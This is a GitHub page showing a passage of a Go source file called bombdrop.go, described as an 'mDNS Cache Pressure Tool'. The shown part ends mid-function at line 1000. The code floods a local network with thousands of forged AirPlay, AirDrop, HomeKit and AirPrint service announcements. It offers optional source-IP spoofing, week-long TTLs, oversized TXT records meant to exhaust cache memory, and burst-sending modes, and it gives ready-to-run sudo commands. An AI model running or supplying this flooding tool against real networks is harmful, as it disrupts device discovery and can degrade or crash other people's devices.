-
Notifications
You must be signed in to change notification settings - Fork 2
Expand file tree
/
Copy pathbombdrop.go
More file actions
1616 lines (1393 loc) · 45.5 KB
/
Copy pathbombdrop.go
File metadata and controls
1616 lines (1393 loc) · 45.5 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
package main
import (
"flag"
"fmt"
"log"
"math/rand"
"net"
"os"
"runtime"
"strings"
"time"
"github.com/google/gopacket"
"github.com/google/gopacket/layers"
"github.com/google/gopacket/pcap"
"github.com/miekg/dns"
)
var (
// Global variables for packet spoofing
enableSpoofing bool
packetSpoofer *PacketSpoofer
// Arrays for generating random device names
locations = []string{
// English
"Living Room", "Kitchen", "Bedroom", "Office", "Basement",
// Spanish
"Sala de Estar", "Cocina", "Dormitorio", "Oficina", "Sótano",
// French
"Salon", "Cuisine", "Chambre", "Bureau", "Sous-sol",
// German
"Wohnzimmer", "Küche", "Schlafzimmer", "Büro", "Keller",
// Italian
"Soggiorno", "Cucina", "Camera da Letto", "Ufficio", "Cantina",
// Japanese
"リビング", "キッチン", "寝室", "オフィス", "地下室",
// Chinese
"客厅", "厨房", "卧室", "办公室", "地下室",
// Korean
"거실", "주방", "침실", "사무실", "지하실",
// Russian
"Гостиная", "Кухня", "Спальня", "Офис", "Подвал",
// Arabic
"غرفة المعيشة", "مطبخ", "غرف النوم", "مكتب", "قبو",
// Emojis with locations
"🏠 Home", "🎮 Game Room", "🎥 Theater", "📚 Library", "🏋️ Gym",
}
adjectives = []string{
// English
"Main", "Upper", "Lower", "Smart", "Cozy",
// Spanish
"Principal", "Superior", "Inferior", "Inteligente", "Acogedor",
// French
"Principal", "Supérieur", "Inférieur", "Intelligent", "Confortable",
// German
"Haupt", "Ober", "Unter", "Smart", "Gemütlich",
// Italian
"Principale", "Superiore", "Inferiore", "Intelligente", "Accogliente",
// Japanese
"メイン", "アッパー", "ロワー", "スマート", "居心地の良い",
// Chinese
"主要", "上层", "下层", "智能", "舒适",
// Korean
"메인", "상층", "하층", "스마트", "아늑한",
// Russian
"Главный", "Верхний", "Нижний", "Умный", "Уютный",
// Arabic
"رئيسي", "علوي", "سفلي", "ذكي", "مريح",
// Emojis with adjectives
"✨ Fancy", "🌟 Premium", "💫 Deluxe", "🎯 Pro", "⭐ Elite",
}
deviceTypes = []string{
// English
"TV", "Display", "Screen", "Hub", "Station",
// Spanish
"Televisor", "Pantalla", "Monitor", "Centro", "Estación",
// French
"Télé", "Écran", "Moniteur", "Centre", "Station",
// German
"Fernseher", "Bildschirm", "Monitor", "Zentrale", "Station",
// Italian
"TV", "Display", "Schermo", "Centro", "Stazione",
// Japanese
"テレビ", "ディスプレイ", "スクリーン", "ハブ", "ステーション",
// Chinese
"电视", "显示器", "屏幕", "中心", "站",
// Korean
"텔레비전", "디스플레이", "스크린", "허브", "스테이션",
// Russian
"Телевизор", "Дисплей", "Экран", "Хаб", "Станция",
// Arabic
"تلفاز", "شاشة", "عرض", "مركز", "محطة",
// Emojis with device types
"📺 TV", "🖥️ Display", "📱 Screen", "🎮 Console", "🎵 Audio",
}
// Apple device models for AirDrop
appleModels = []string{
"MacBookPro18,1", "MacBookPro16,2", "MacBookAir10,1",
"iMac21,1", "iMacPro1,1", "Macmini9,1",
"iPhone14,3", "iPhone13,4", "iPhone12,1",
"iPad13,1", "iPad12,1", "iPad11,6",
"Watch6,9", "AppleTV11,1",
}
// macOS/iOS versions
osVersions = []string{
"13.0", "13.1", "13.2", "13.3", "13.4",
"12.0", "12.1", "12.2", "12.3", "12.4",
"11.0", "11.1", "11.2", "11.3", "11.4",
"10.15", "10.16",
}
// Valid broadcast types
validBroadcastTypes = map[string]bool{
"airplay": true,
"airdrop": true,
"homekit": true,
"airprint": true,
"all": true,
}
// HomeKit accessory categories
homekitCategories = []string{
"1", // Other
"2", // Bridge
"3", // Fan
"4", // Garage Door Opener
"5", // Lightbulb
"6", // Door Lock
"7", // Outlet
"8", // Switch
"9", // Thermostat
"10", // Sensor
"11", // Security System
"12", // Door
"13", // Window
"14", // Window Covering
"15", // Programmable Switch
"16", // Range Extender
"17", // IP Camera
"18", // Video Doorbell
"19", // Air Purifier
"20", // Heater
"21", // Air Conditioner
"22", // Humidifier
"23", // Dehumidifier
}
// AirPrint printer models
printerModels = []string{
"HP LaserJet Pro",
"Canon PIXMA",
"Epson WorkForce",
"Brother HL",
"Xerox Phaser",
"Lexmark MS",
"Samsung Xpress",
"Ricoh SP",
"Kyocera ECOSYS",
"OKI C",
}
// AirPrint printer capabilities
printerCapabilities = []string{
"duplex", "color", "copies", "collate", "staple", "bind", "punch", "cover", "sort", "booklet",
}
// Default TTL for all mDNS records (2 hours)
DefaultTTL uint32 = 7200
// Extra long TTL option (24 hours)
ExtraLongTTL uint32 = 86400
)
// BroadcastType represents the type of broadcast to send
type BroadcastType string
const (
BroadcastTypeAirPlay BroadcastType = "airplay"
BroadcastTypeAirDrop BroadcastType = "airdrop"
BroadcastTypeHomeKit BroadcastType = "homekit"
BroadcastTypeAirPrint BroadcastType = "airprint"
BroadcastTypeAll BroadcastType = "all"
)
// Update broadcastAnnouncements to use gopacket
func broadcastAnnouncements(conn *net.UDPConn, announcements []*dns.Msg, nameMode string, roundNum int, debug bool) {
startTime := time.Now()
announcementCount := 0
for i, announcement := range announcements {
announcementBytes, err := announcement.Pack()
if err != nil {
if debug {
log.Printf("Error packing announcement: %v", err)
}
continue
}
if enableSpoofing && packetSpoofer != nil {
// Use gopacket to send with spoofed source IP
err = packetSpoofer.SendSpoofedPacket(announcementBytes, i)
if err != nil {
if debug {
log.Printf("Error sending spoofed packet: %v", err)
log.Printf("Falling back to regular UDP")
}
// Fallback to regular UDP - use Write() for connected socket
conn.Write(announcementBytes)
}
} else {
// Use regular UDP socket - use Write() for connected socket
if _, err := conn.Write(announcementBytes); err != nil {
if debug {
log.Printf("Error sending announcement: %v", err)
}
}
}
announcementCount++
}
if debug {
log.Printf("Broadcast completed: Mode: %s, Round: %d, Sent %d announcements in %v",
nameMode, roundNum, announcementCount, time.Since(startTime))
}
}
func main() {
numDevices := flag.Int("n", 1000, "Number of devices to advertise")
debug := flag.Bool("debug", false, "Enable debug logging")
help := flag.Bool("h", false, "Show help")
interfaceName := flag.String("i", "", "Network interface to use (default: system chosen)")
targetIP := flag.String("b", "224.0.0.251", "Target IP address to send to")
count := flag.Int("c", 0, "Number of announcement rounds (0 = infinite)")
broadcastTypeStr := flag.String("type", "all", "Broadcast type: airplay, airdrop, homekit, airprint, or all")
preGenerate := flag.Bool("pregenerate", false, "Pre-generate devices once and reuse them")
cacheMode := flag.String("cache", "standard", "Cache pressure mode: standard, aggressive, extreme")
spoof := flag.Bool("spoof", false, "Enable IP address spoofing (requires root)")
ttlValue := flag.Uint("ttl", uint(DefaultTTL), "TTL value in seconds (default: 7200)")
ttlMode := flag.String("ttl-mode", "normal", "TTL mode: normal, long, extreme")
nameMode := flag.String("name-mode", "mixed", "Device naming mode: static, dynamic, compare")
flag.Parse()
// Show help if requested or no arguments provided
if *help || len(os.Args) == 1 {
fmt.Println(`
Bombdrop - mDNS Cache Pressure Tool
Usage:
sudo go run bombdrop.go -n 5000 [-debug] [-i eth0] [-b 224.0.0.251] [-c 10] [-type all]
Options:
-n <num> Number of devices to advertise (default: 1000)
-debug Enable debug logging
-i <iface> Network interface to use (default: system chosen)
-b <ip> Target IP address (default: 224.0.0.251)
-c <count> Number of announcement rounds (0 = infinite)
-type <t> Broadcast type: airplay, airdrop, homekit, airprint, or all (default: all)
-spoof Enable IP address spoofing (requires root/admin privileges)
-ttl <seconds> TTL value in seconds (default: 7200)
-ttl-mode <mode> TTL mode: normal, long, extreme (default: normal)
-name-mode <m> Device naming mode: static, dynamic, compare (default: mixed)
-pregenerate Pre-generate
Examples:
# Basic usage with 5000 devices
sudo go run bombdrop.go -n 5000
# Specify network interface and only broadcast AirPlay
sudo go run bombdrop.go -i eth0 -n 1000 -type airplay
# Use broadcast instead of multicast and only broadcast HomeKit
sudo go run bombdrop.go -b 192.168.1.255 -n 1000 -type homekit
# Send 10 rounds of AirPrint announcements and exit
sudo go run bombdrop.go -n 100 -c 10 -type airprint
Notes:
- For multicast: 224.0.0.251 is the standard mDNS address
- For broadcast: use your subnet's broadcast (typically x.x.x.255)
- For /31 networks: there is no broadcast address, use multicast or direct IP
- Root/admin privileges are usually required for multicast
`)
return
}
// Validate and parse broadcast type
*broadcastTypeStr = strings.ToLower(*broadcastTypeStr)
if !validBroadcastTypes[*broadcastTypeStr] {
log.Fatalf("Invalid broadcast type: %s. Must be one of: airplay, airdrop, homekit, airprint, all", *broadcastTypeStr)
}
var broadcastTypes []BroadcastType
if *broadcastTypeStr == "all" {
broadcastTypes = []BroadcastType{BroadcastTypeAll}
} else {
broadcastTypes = []BroadcastType{BroadcastType(*broadcastTypeStr)}
}
// Parse the target IP
targetIPAddr := net.ParseIP(*targetIP)
if targetIPAddr == nil {
log.Fatalf("Invalid target IP address: %s", *targetIP)
}
if *debug {
log.Printf("Sending to IP: %s", targetIPAddr.String())
log.Printf("Broadcast type: %s", *broadcastTypeStr)
}
// Create a UDP socket for sending
var conn *net.UDPConn
var err error
// Parse the target IP
targetIPAddr = net.ParseIP(*targetIP)
if targetIPAddr == nil {
log.Fatalf("Invalid target IP address: %s", *targetIP)
}
if *spoof {
// Configure packet spoofer for IP spoofing
packetSpoofer, err = configurePacketSpoofer(*interfaceName, targetIPAddr)
if err != nil {
log.Fatalf("Failed to configure packet spoofer: %v", err)
}
enableSpoofing = true
defer packetSpoofer.Close()
}
// Create regular UDP socket (used as fallback when spoofing fails)
conn, err = net.DialUDP("udp4", nil, &net.UDPAddr{
IP: targetIPAddr,
Port: 5353,
})
if err != nil {
log.Fatal(err)
}
defer conn.Close()
// Only try to set the interface for multicast addresses
if *interfaceName != "" {
ifi, err := net.InterfaceByName(*interfaceName)
if err != nil {
log.Fatalf("Error finding interface %s: %v", *interfaceName, err)
}
if *debug {
log.Printf("Using interface: %s", *interfaceName)
}
// Only set the multicast interface if we're sending to a multicast address
if targetIPAddr.IsMulticast() {
if err := setMulticastInterface(conn, ifi); err != nil && *debug {
log.Printf("Warning: couldn't set multicast interface: %v", err)
}
} else if *debug {
log.Printf("Not setting interface on socket for unicast address")
}
}
// Initialize the announcements variable
var currentAnnouncements []*dns.Msg
var staticAnnouncements []*dns.Msg
// Process the ttl mode flag
var actualTTL uint32
switch *ttlMode {
case "long":
actualTTL = ExtraLongTTL
case "extreme":
actualTTL = 604800 // 1 week
default:
actualTTL = uint32(*ttlValue)
}
if *debug {
log.Printf("Using TTL of %d seconds for mDNS records", actualTTL)
}
// Pre-generate static devices if needed
if *nameMode == "static" || *nameMode == "compare" || *preGenerate {
if *debug {
log.Printf("Pre-generating static device set with %d devices", *numDevices)
}
staticAnnouncements = generateDevices(*numDevices, broadcastTypes, actualTTL, *debug)
}
// Track how many rounds we've sent
roundsSent := 0
// Use proper variable assignment
var deviceMultiplier int
switch *cacheMode {
case "aggressive":
deviceMultiplier = 10 // Generate 10x more records per device
case "extreme":
deviceMultiplier = 100 // Generate 100x more records per device
default:
deviceMultiplier = 1
}
// Main broadcast loop
for {
// Choose which announcements to use based on mode
if *nameMode == "dynamic" || (*nameMode == "compare" && roundsSent%2 == 1) {
if *debug {
log.Printf("Using dynamic device names for this round")
}
currentAnnouncements = generateDevices(*numDevices, broadcastTypes, actualTTL, *debug)
} else {
if *debug && *nameMode == "compare" {
log.Printf("Using static device names for this round")
}
currentAnnouncements = staticAnnouncements
}
// Broadcast all announcements
startTime := time.Now()
announcementCount := 0
for _, announcement := range currentAnnouncements {
announcementBytes, err := announcement.Pack()
if err != nil {
if *debug {
log.Printf("Error packing announcement: %v", err)
}
continue
}
if _, err := conn.Write(announcementBytes); err != nil {
if *debug {
log.Printf("Error sending announcement: %v", err)
}
}
announcementCount++
}
// Calculate how long the broadcast took
broadcastDuration := time.Since(startTime)
if *debug {
log.Printf("Broadcast round %d: sent %d announcements in %v",
roundsSent+1, announcementCount, broadcastDuration)
}
roundsSent++
// Check if we should exit
if *count > 0 && roundsSent >= *count {
if *debug {
log.Printf("Completed %d rounds, exiting", roundsSent)
}
return
}
// Wait a bit before the next round
// If the broadcast took less than 500ms, wait the remainder
// Otherwise, proceed immediately to the next round
waitTime := 500*time.Millisecond - broadcastDuration
if waitTime > 0 {
time.Sleep(waitTime)
}
// Send in waves to trigger batch processing
switch *cacheMode {
case "wave":
currentAnnouncements = sendInWavePattern(conn, currentAnnouncements, *debug)
case "random":
// Send in random bursts to be unpredictable
currentAnnouncements = sendInRandomBursts(conn, currentAnnouncements, *debug)
default:
// Standard steady broadcasts
broadcastAnnouncements(conn, currentAnnouncements, *nameMode, roundsSent, *debug)
}
// If cacheFlush is enabled, create special cache-flush records
if deviceMultiplier > 1 && *debug {
log.Printf("Using cache pressure multiplier: %d", deviceMultiplier)
// Optionally, actually use the multiplier in device generation
if *preGenerate {
currentAnnouncements = generateDevicesForCachePressure(*numDevices, broadcastTypes, deviceMultiplier, actualTTL, *debug)
}
}
}
}
// Helper function to generate devices for the selected broadcast types
func generateDevicesForTypes(count int, broadcastTypes []BroadcastType, ttl uint32, debug bool) []*dns.Msg {
var announcements []*dns.Msg
// Create a map for faster lookup
typeMap := make(map[BroadcastType]bool)
for _, t := range broadcastTypes {
typeMap[t] = true
}
// Check if we should include all types
includeAll := typeMap[BroadcastTypeAll]
for i := 0; i < count; i++ {
name := generateDeviceName()
dnsName, displayName := sanitizeDeviceName(name)
deviceID := generateDeviceID()
broadcastInfo := ""
// Add AirPlay announcements if requested
if includeAll || typeMap[BroadcastTypeAirPlay] {
airplayAnnouncements := createAirPlayAnnouncements(dnsName, deviceID, ttl)
announcements = append(announcements, airplayAnnouncements...)
broadcastInfo += "AirPlay "
}
// Add AirDrop announcements if requested
if includeAll || typeMap[BroadcastTypeAirDrop] {
airdropAnnouncements := createAirDropAnnouncements(dnsName, deviceID, ttl)
announcements = append(announcements, airdropAnnouncements...)
broadcastInfo += "AirDrop "
}
// Add HomeKit announcements if requested
if includeAll || typeMap[BroadcastTypeHomeKit] {
homekitAnnouncements := createHomeKitAnnouncements(dnsName, deviceID, ttl)
announcements = append(announcements, homekitAnnouncements...)
broadcastInfo += "HomeKit "
}
// Add AirPrint announcements if requested
if includeAll || typeMap[BroadcastTypeAirPrint] {
airprintAnnouncements := createAirPrintAnnouncements(dnsName, deviceID, ttl)
announcements = append(announcements, airprintAnnouncements...)
broadcastInfo += "AirPrint "
}
if debug && (i == 0 || i == count-1 || i%100 == 0) {
log.Printf("Generated device %d/%d: %s (%s)", i+1, count, displayName, strings.TrimSpace(broadcastInfo))
}
}
return announcements
}
// Modified generateDevices function to enhance cache pressure
func generateDevicesForCachePressure(count int, broadcastTypes []BroadcastType, multiplier int, ttl uint32, debug bool) []*dns.Msg {
var announcements []*dns.Msg
for i := 0; i < count; i++ {
// Standard device generation
name := generateDeviceName()
dnsName, displayName := sanitizeDeviceName(name)
deviceID := generateDeviceID()
// Generate standard announcements
deviceAnnouncements := generateDeviceAnnouncements(dnsName, deviceID, broadcastTypes, ttl)
announcements = append(announcements, deviceAnnouncements...)
// Add extra records to increase cache pressure
if multiplier > 1 {
for j := 0; j < multiplier-1; j++ {
// Generate variant records with slight differences
extraName := fmt.Sprintf("%s-extra%d", dnsName, j+1)
// Add TXT records with increasing sizes to consume more memory
extraTXT := createExtraSizedTXTRecord(extraName, j*1024, ttl) // Increasing record sizes
announcements = append(announcements, extraTXT)
}
}
if debug && (i == 0 || i == count-1 || i%1000 == 0) {
log.Printf("Generated device %d/%d: %s with %d extra records",
i+1, count, displayName, multiplier-1)
}
}
return announcements
}
// Generate TXT records with specified size to consume more cache memory
func createExtraSizedTXTRecord(name string, size int, ttl uint32) *dns.Msg {
msg := new(dns.Msg)
msg.Response = true
msg.Authoritative = true
// Create large TXT record
txt := &dns.TXT{
Hdr: dns.RR_Header{
Name: fmt.Sprintf("%s._large-txt._tcp.local.", name),
Rrtype: dns.TypeTXT,
Class: dns.ClassINET | 0x8000,
Ttl: ttl,
},
Txt: []string{
generateRandomString(size),
},
}
msg.Answer = []dns.RR{txt}
return msg
}
// Generate random string of specified size
func generateRandomString(size int) string {
chars := "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
result := make([]byte, size)
for i := range result {
result[i] = chars[rand.Intn(len(chars))]
}
return string(result)
}
// Send announcements in wave pattern
func sendInWavePattern(conn *net.UDPConn, announcements []*dns.Msg, debug bool) []*dns.Msg {
announceCount := len(announcements)
waveSizes := []int{1000, 5000, 10000, 15000, 20000, 15000, 10000, 5000, 1000}
startIndex := 0
for _, waveSize := range waveSizes {
if startIndex >= announceCount {
break
}
endIndex := startIndex + waveSize
if endIndex > announceCount {
endIndex = announceCount
}
if debug {
log.Printf("Sending wave of %d announcements", endIndex-startIndex)
}
// Send this wave rapidly
for i := startIndex; i < endIndex; i++ {
announcementBytes, _ := announcements[i].Pack()
conn.Write(announcementBytes)
}
// Short pause between waves
time.Sleep(100 * time.Millisecond)
startIndex = endIndex
}
return announcements
}
// Send announcements in random bursts
func sendInRandomBursts(conn *net.UDPConn, announcements []*dns.Msg, debug bool) []*dns.Msg {
announceCount := len(announcements)
burstSizes := []int{100, 500, 1000, 5000, 10000, 50000}
// Fix: Replace the unused variable 'i' with a more descriptive name that indicates its purpose
for burstIndex := 0; burstIndex < 5; burstIndex++ { // Do 5 bursts and return
burstSize := burstSizes[rand.Intn(len(burstSizes))]
if burstSize > announceCount {
burstSize = announceCount
}
if debug {
log.Printf("Sending burst of %d announcements", burstSize)
}
// Use range operator with _
for k := 0; k < burstSize; k++ {
announcementBytes, _ := announcements[rand.Intn(announceCount)].Pack()
conn.Write(announcementBytes)
}
// Wait between bursts
waitTime := time.Duration(rand.Intn(500)) * time.Millisecond
time.Sleep(waitTime)
}
return announcements
}
// Generate records that specifically target cache flush behavior
func generateCacheFlushRecords(count int) []*dns.Msg {
var records []*dns.Msg
for i := 0; i < count; i++ {
// Create record with cache-flush bit set
msg := new(dns.Msg)
msg.Response = true
msg.Authoritative = true
name := fmt.Sprintf("flush-%d.local.", i)
// A record with cache-flush bit set
aRecord := &dns.A{
Hdr: dns.RR_Header{
Name: name,
Rrtype: dns.TypeA,
Class: dns.ClassINET | 0x8000, // Cache flush bit
Ttl: 1, // Very short TTL
},
A: generateRandomIP(),
}
msg.Answer = []dns.RR{aRecord}
records = append(records, msg)
// Also create matching PTR with same name but without flush
ptrRecord := createQuery(name, dns.TypePTR)
records = append(records, ptrRecord)
}
return records
}
func generateDeviceName() string {
// Create random device names using the arrays
adj := adjectives[rand.Intn(len(adjectives))]
loc := locations[rand.Intn(len(locations))]
dev := deviceTypes[rand.Intn(len(deviceTypes))]
// Sometimes add a random number suffix for extra variety
if rand.Intn(2) == 1 {
return fmt.Sprintf("%s %s %s %d", adj, loc, dev, rand.Intn(999))
}
return fmt.Sprintf("%s %s %s", adj, loc, dev)
}
func generateDeviceID() string {
bytes := make([]byte, 6)
rand.Read(bytes)
return fmt.Sprintf("%02X:%02X:%02X:%02X:%02X:%02X",
bytes[0], bytes[1], bytes[2], bytes[3], bytes[4], bytes[5])
}
func generateRandomIP() net.IP {
ip := make(net.IP, 4)
// Generate a random private IP address
ip[0] = 192
ip[1] = 168
ip[2] = byte(rand.Intn(255) + 1)
ip[3] = byte(rand.Intn(254) + 1)
return ip
}
func sanitizeDeviceName(name string) (string, string) {
// Keep original name for display
displayName := name
// Simple DNS-safe conversion:
// 1. Replace spaces with hyphens
// 2. Remove any characters that aren't alphanumeric, hyphens, or dots
// 3. Limit length to 63 characters (DNS label limit)
dnsName := strings.Map(func(r rune) rune {
switch {
case r >= 'a' && r <= 'z':
return r
case r >= 'A' && r <= 'Z':
return r
case r >= '0' && r <= '9':
return r
case r == ' ':
return '-'
case r == '.':
return r
case r == '-':
return r
default:
return '-'
}
}, name)
// Ensure no double hyphens
for strings.Contains(dnsName, "--") {
dnsName = strings.ReplaceAll(dnsName, "--", "-")
}
// Trim hyphens from start and end
dnsName = strings.Trim(dnsName, "-")
// Ensure we have a valid name
if len(dnsName) == 0 {
dnsName = fmt.Sprintf("device-%d", rand.Intn(10000))
}
// Truncate if too long
if len(dnsName) > 63 {
dnsName = dnsName[:63]
// Ensure we don't end with a hyphen
dnsName = strings.TrimRight(dnsName, "-")
}
return dnsName, displayName
}
func createAirPlayAnnouncements(name string, deviceID string, ttl uint32) []*dns.Msg {
// Create base AirPlay announcement
airplayMsg := new(dns.Msg)
airplayMsg.Response = true
airplayMsg.Authoritative = true
airplayMsg.Id = 0
// AirPlay PTR
airplayPtr := &dns.PTR{
Hdr: dns.RR_Header{
Name: "_airplay._tcp.local.",
Rrtype: dns.TypePTR,
Class: dns.ClassINET,
Ttl: ttl,
},
Ptr: fmt.Sprintf("%s._airplay._tcp.local.", name),
}
// SRV with cache-flush
srvAirPlay := &dns.SRV{
Hdr: dns.RR_Header{
Name: fmt.Sprintf("%s._airplay._tcp.local.", name),
Rrtype: dns.TypeSRV,
Class: dns.ClassINET | 0x8000,
Ttl: ttl,
},
Priority: 0,
Weight: 0,
Port: 7000,
Target: fmt.Sprintf("%s.local.", name),
}
// Standard AirPlay TXT record
airplayTxt := &dns.TXT{
Hdr: dns.RR_Header{
Name: fmt.Sprintf("%s._airplay._tcp.local.", name),
Rrtype: dns.TypeTXT,
Class: dns.ClassINET | 0x8000,
Ttl: ttl,
},
Txt: []string{
"features=0x5A7FFFF7",
fmt.Sprintf("deviceid=%s", deviceID),
"model=AppleTV3,2",
"srcvers=220.68",
"flags=0x4",
fmt.Sprintf("name=%s", name),
"pk=b07727d6f6cd6e08b58ede525ec3cdeaa252ad9f683feb212ef8a3922d46baa9",
},
}
airplayMsg.Answer = []dns.RR{airplayPtr, srvAirPlay, airplayTxt}
return []*dns.Msg{airplayMsg}
}
func createAirDropAnnouncements(name string, deviceID string, ttl uint32) []*dns.Msg {
// Create base AirDrop announcement
airdropMsg := new(dns.Msg)
airdropMsg.Response = true
airdropMsg.Authoritative = true
airdropMsg.Id = 0
// AirDrop uses the _airdrop._tcp.local. service type
airdropPtr := &dns.PTR{
Hdr: dns.RR_Header{
Name: "_airdrop._tcp.local.",
Rrtype: dns.TypePTR,
Class: dns.ClassINET,
Ttl: ttl,
},
Ptr: fmt.Sprintf("%s._airdrop._tcp.local.", name),
}
// Use random model and OS version
model := appleModels[rand.Intn(len(appleModels))]
osVersion := osVersions[rand.Intn(len(osVersions))]
// SRV with cache-flush
srvAirDrop := &dns.SRV{
Hdr: dns.RR_Header{
Name: fmt.Sprintf("%s._airdrop._tcp.local.", name),
Rrtype: dns.TypeSRV,
Class: dns.ClassINET | 0x8000,
Ttl: ttl,
},
Priority: 0,
Weight: 0,
Port: 8770, // AirDrop typically uses port 8770
Target: fmt.Sprintf("%s.local.", name),
}
// AirDrop TXT record
airdropTxt := &dns.TXT{
Hdr: dns.RR_Header{
Name: fmt.Sprintf("%s._airdrop._tcp.local.", name),
Rrtype: dns.TypeTXT,
Class: dns.ClassINET | 0x8000,
Ttl: ttl,
},
Txt: []string{
fmt.Sprintf("deviceid=%s", deviceID),
"flags=0x1",
fmt.Sprintf("model=%s", model),
"name=" + name,
fmt.Sprintf("osxversion=%s", osVersion),
"status=1",
"services=0x1FFFFF",
},
}
// A record for the host
aHost := &dns.A{
Hdr: dns.RR_Header{
Name: fmt.Sprintf("%s.local.", name),
Rrtype: dns.TypeA,
Class: dns.ClassINET | 0x8000,
Ttl: ttl,
},
A: generateRandomIP(),
}
airdropMsg.Answer = []dns.RR{airdropPtr, srvAirDrop, airdropTxt, aHost}
return []*dns.Msg{airdropMsg}
}
func createHomeKitAnnouncements(name string, deviceID string, ttl uint32) []*dns.Msg {
// Create base HomeKit announcement
homekitMsg := new(dns.Msg)
homekitMsg.Response = true
homekitMsg.Authoritative = true
homekitMsg.Id = 0
// HomeKit uses _hap._tcp.local.
homekitPtr := &dns.PTR{
Hdr: dns.RR_Header{
Name: "_hap._tcp.local.",
Rrtype: dns.TypePTR,
Class: dns.ClassINET,
Ttl: ttl,
},
Ptr: fmt.Sprintf("%s._hap._tcp.local.", name),
}
// SRV with cache-flush
srvHomeKit := &dns.SRV{
Hdr: dns.RR_Header{
Name: fmt.Sprintf("%s._hap._tcp.local.", name),
Rrtype: dns.TypeSRV,
Class: dns.ClassINET | 0x8000,
Ttl: ttl,
},
Priority: 0,
Weight: 0,
Port: uint16(rand.Intn(1000) + 8000), // Convert to uint16
Target: fmt.Sprintf("%s.local.", name),
}
// Random HomeKit category
category := homekitCategories[rand.Intn(len(homekitCategories))]
// Generate a random configuration number (changes when config changes)
configNum := rand.Intn(65535)
// Generate a random HAP feature flags value
featureFlags := rand.Intn(256)
// Generate a random setup hash (8 characters)
setupHash := fmt.Sprintf("%08X", rand.Uint32())
// HomeKit TXT record
homekitTxt := &dns.TXT{
Hdr: dns.RR_Header{
Name: fmt.Sprintf("%s._hap._tcp.local.", name),
Rrtype: dns.TypeTXT,
Class: dns.ClassINET | 0x8000,
Ttl: ttl,
},
Txt: []string{
fmt.Sprintf("md=%s", name),
fmt.Sprintf("pv=1.1"),
fmt.Sprintf("id=%s", deviceID),
fmt.Sprintf("c#=%d", configNum),
fmt.Sprintf("s#=1"),
fmt.Sprintf("ff=%d", featureFlags),
fmt.Sprintf("ci=%s", category),
fmt.Sprintf("sf=0"),
fmt.Sprintf("sh=%s", setupHash),
},
}
// A record for the host
aHost := &dns.A{
Hdr: dns.RR_Header{
Name: fmt.Sprintf("%s.local.", name),
Rrtype: dns.TypeA,
Class: dns.ClassINET | 0x8000,
Ttl: ttl,
},
A: generateRandomIP(),
}
